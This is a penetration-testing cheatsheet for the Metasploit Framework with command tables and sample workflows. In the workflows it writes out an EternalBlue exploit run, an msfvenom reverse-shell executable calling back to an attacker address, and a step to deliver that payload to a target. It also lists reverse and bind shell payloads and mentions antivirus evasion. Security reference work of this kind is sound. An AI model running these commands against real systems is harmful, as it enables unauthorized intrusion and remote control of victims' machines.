Ultimate Metasploit Framework Cheatsheet
A comprehensive reference guide for penetration testers and security professionals using the Metasploit Framework, including essential commands, modules, payloads, and workflows.
Table of Contents
- Introduction to Metasploit
- Installation & Setup
- Basic Commands
- MSFconsole Commands
- Working with Modules
- Database Commands
- Payloads Reference
- Exploit Commands
- Post-Exploitation
- Meterpreter Commands
- Auxiliary Modules
- Pivoting & Network Traversal
- Evasion Techniques
- Common Workflows
- Additional Resources
Introduction to Metasploit
The Metasploit Framework is an open-source penetration testing and exploitation framework that provides the infrastructure, content, and tools to perform security assessments and penetration testing. It’s maintained by Rapid7 and the security community.
Core Components
- MSFconsole – Command-line interface
- Modules – Exploits, auxiliaries, post, payloads, encoders, nops
- Tools – Collection of command-line utilities
- Libraries – Supporting code libraries
- Plugins – Extend functionality
Module Types
- Exploits – Code that takes advantage of vulnerabilities
- Payloads – Code delivered by exploits
- Auxiliaries – Scanners, fuzzers, sniffers
- Post – Post-exploitation modules
- Encoders – Payload obfuscation
- Nops – No Operation generators
Versions
The open-source Metasploit Framework (MSF) is free and what this cheatsheet covers.
Installation & Setup
Installing Metasploit on Linux
Installing on Kali Linux (Pre-installed)
Updating Metasploit
Starting Metasploit Console
Setting Up Database
Basic Commands
Command | Description |
---|---|
help |
Show available commands |
version |
Show the framework and console library version |
exit or quit |
Exit the console |
banner |
Display an awesome metasploit banner |
connect |
Communicate with a host |
irb |
Drop into irb scripting mode |
sleep |
Do nothing for the specified number of seconds |
spool |
Write console output to a file |
load |
Load a plugin from the specified path |
unload |
Unload a previously loaded plugin |
Navigating Through Commands
- Use Tab for command completion
- Use Arrow Up/Down keys for command history
- Use Ctrl+R to search command history
- Use Ctrl+L to clear the screen
MSFconsole Commands
Core Commands
Command | Description |
---|---|
search [keyword] |
Search for modules |
use [module] |
Select a module by name |
info |
Display information about the current module |
show options |
Show available options for the current module |
set [option] [value] |
Set a value for an option |
setg [option] [value] |
Set a global value for an option |
unset [option] |
Unset an option’s value |
unsetg [option] |
Unset a global option’s value |
back |
Move back from the current context |
run or exploit |
Run the selected module |
check |
Check if the target is vulnerable |
sessions |
List all active sessions |
sessions -i [ID] |
Interact with a session |
sessions -k [ID] |
Kill a session |
jobs |
List all active jobs |
jobs -k [ID] |
Kill a job |
Advanced Console Commands
Command | Description |
---|---|
workspace |
Switch between database workspaces |
save |
Save active datastores |
resource [file] |
Run commands from a file |
makerc [file] |
Save commands entered since start to a file |
history |
Show command history |
route |
Route traffic through a session |
setenv [var] [val] |
Set an environment variable |
unsetenv [var] |
Unset an environment variable |
handlers |
List all active payload handlers |
resource path/to/script.rc
Working with Modules
Finding Modules
Search Filters
Filter | Description | Example |
---|---|---|
type: |
Module type | search type:exploit |
name: |
Module name | search name:smb |
platform: |
Target platform | search platform:windows |
author: |
Module author | search author:hdm |
cve: |
CVE identifier | search cve:2020 |
rank: |
Exploit reliability rank | search rank:excellent |
app: |
Application name | search app:ssh |
Module Information & Options
Module Categories
Exploit Types
browser fileformat remote localUse show exploits
to list all available exploits
Auxiliary Types
scanner dos fuzzer sniffer adminUse show auxiliary
to list all auxiliary modules
Post-Exploitation
gather escalate manage reconUse show post
to list all post modules
Database Commands
Database Setup
Workspace Management
Import Scan Data
Host and Service Commands
Command | Description |
---|---|
hosts |
List all hosts in the database |
hosts -a [address] |
Add a host to the database |
hosts -d [address] |
Delete a host from the database |
hosts -S [column] |
Search for hosts |
services |
List all services in the database |
services -a [protocol] -p [port] -h [host] |
Add a service to the database |
services -s [name] |
Search for services by name |
services -p [port] |
Search for services by port |
vulns |
List all vulnerabilities in the database |
loot |
List all loot in the database |
notes |
List all notes in the database |
creds |
List all credentials in the database |
Running Scans
Payloads Reference
Types of Payloads
Staged Payloads
Payloads that are sent in multiple stages. The initial payload is small and connects back to the attacker to download the rest of the payload.
windows/meterpreter/reverse_tcp linux/x86/shell/reverse_tcpSingle Payloads
Payloads that are sent in one complete package. These are larger but don’t require a second stage.
windows/meterpreter_reverse_tcp linux/x86/shell_reverse_tcpInline Payloads
Payloads that are embedded directly within the exploit code.
windows/shell_bind_tcp linux/x86/shell_bind_tcpCommon Payloads
Payload | Description |
---|---|
windows/meterpreter/reverse_tcp |
Meterpreter reverse shell for Windows |
linux/x86/meterpreter/reverse_tcp |
Meterpreter reverse shell for Linux |
windows/shell/reverse_tcp |
Standard reverse shell for Windows |
linux/x86/shell/reverse_tcp |
Standard reverse shell for Linux |
windows/meterpreter/bind_tcp |
Meterpreter bind shell for Windows |
linux/x86/meterpreter/bind_tcp |
Meterpreter bind shell for Linux |
windows/shell/bind_tcp |
Standard bind shell for Windows |
linux/x86/shell/bind_tcp |
Standard bind shell for Linux |
windows/meterpreter/reverse_http |
Meterpreter reverse HTTP shell for Windows |
windows/meterpreter/reverse_https |
Meterpreter reverse HTTPS shell for Windows |
Payload Options
Exploit Commands
Basic Exploit Workflow
Exploit Options
Option | Description |
---|---|
RHOSTS |
Target address(es) |
RPORT |
Target port |
LHOST |
Local host (attacker’s IP) |
LPORT |
Local port (attacker’s port) |
SRVHOST |
Server host for payload delivery |
SRVPORT |
Server port for payload delivery |
TARGET |
Target system type |
PAYLOAD |
Payload to use |
EXITFUNC |
Exit technique (process, thread, seh) |
VERBOSE |
Enable verbose output |
Exploit Techniques
Bind Shell
The payload opens a port on the target system, and the attacker connects to it.
Reverse Shell
The payload connects back to the attacker’s system, which listens for incoming connections.
reverse_tcpMeterpreter
An advanced, dynamically extensible payload that provides a command shell with additional features.
meterpreterExploit Examples
check
to verify if the target is vulnerable.
Post-Exploitation
Meterpreter Basics
File System Commands
Network Commands
Privilege Escalation
Information Gathering
Persistence
Meterpreter Commands
Core Commands
Command | Description |
---|---|
background |
Background the current session |
exit |
Terminate the Meterpreter session |
help |
Display help menu |
info |
Display information about a module |
irb |
Open an interactive Ruby shell |
load |
Load a Meterpreter extension |
migrate |
Migrate to another process |
run |
Execute a Meterpreter script or post module |
sessions |
List all active sessions |
use |
Load a module by name |
File System Commands
Command | Description |
---|---|
cd |
Change directory |
ls |
List files |
pwd |
Print working directory |
cat |
Display file contents |
download |
Download a file |
upload |
Upload a file |
rm |
Delete a file |
mkdir |
Create a directory |
rmdir |
Remove a directory |
search |
Search for files |
Network Commands
Command | Description |
---|---|
ipconfig |
Display network interfaces |
portfwd |
Forward a port |
route |
View or modify the routing table |
arp |
Display the ARP cache |
netstat |
Display network connections |
System Commands
Command | Description |
---|---|
sysinfo |
Display system information |
ps |
List running processes |
kill |
Terminate a process |
getuid |
Get the user that the server is running as |
getpid |
Get the current process identifier |
execute |
Execute a command |
shell |
Drop into a system shell |
reboot |
Reboot the remote computer |
shutdown |
Shutdown the remote computer |
Privilege Escalation
Meterpreter Scripts
load -l
to list all available Meterpreter extensions and load [extension]
to load a specific extension.
Auxiliary Modules
Common Auxiliary Modules
Scanners
Modules for scanning networks, services, and vulnerabilities.
scanner smb sshFuzzers
Modules for fuzzing protocols and applications.
fuzzer http smbSniffers
Modules for network traffic capture and analysis.
sniffer pcapUsing Auxiliary Modules
Example: SMB Version Detection
Example: SSH Login Check
Example: HTTP Directory Brute Force
Pivoting & Network Traversal
Port Forwarding
Routing Traffic
Example: Pivoting Through a Compromised Host
Example: Port Forwarding
route
to view the current routing table and route flush
to clear all routes.
Evasion Techniques
Payload Encoding
Payload Obfuscation
Example: Bypassing Antivirus
Common Workflows
Basic Exploitation Workflow
- Reconnaissance:
db_nmap -sV -p- 192.168.1.0/24
- Identify Vulnerabilities:
search cve:2021 type:exploit
- Select Exploit:
use exploit/windows/smb/ms17_010_eternalblue
- Set Options:
set RHOSTS 192.168.1.10
,set LHOST 192.168.1.5
- Run Exploit:
exploit
- Post-Exploitation:
meterpreter > sysinfo
Client-Side Exploitation Workflow
- Generate Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
- Set Up Listener:
use exploit/multi/handler
,set PAYLOAD windows/meterpreter/reverse_tcp
,set LHOST 192.168.1.5
,set LPORT 4444
- Run Listener:
exploit
- Deliver Payload: Send
payload.exe
to the target - Post-Exploitation:
meterpreter > getuid
Web Application Testing Workflow
- Scan for Vulnerabilities:
use auxiliary/scanner/http/dir_scanner
,set RHOSTS 192.168.1.10
,run
- Exploit Vulnerabilities:
use exploit/windows/iis/iis_webdav_upload_asp
,set RHOSTS 192.168.1.10
,set LHOST 192.168.1.5
,exploit
- Post-Exploitation:
meterpreter > shell
makerc
to save your command history to a file.
Additional Resources
Official Documentation
Books
- “Metasploit: The Penetration Tester’s Guide” by David Kennedy et al.
- “Mastering Metasploit” by Nipun Jaswal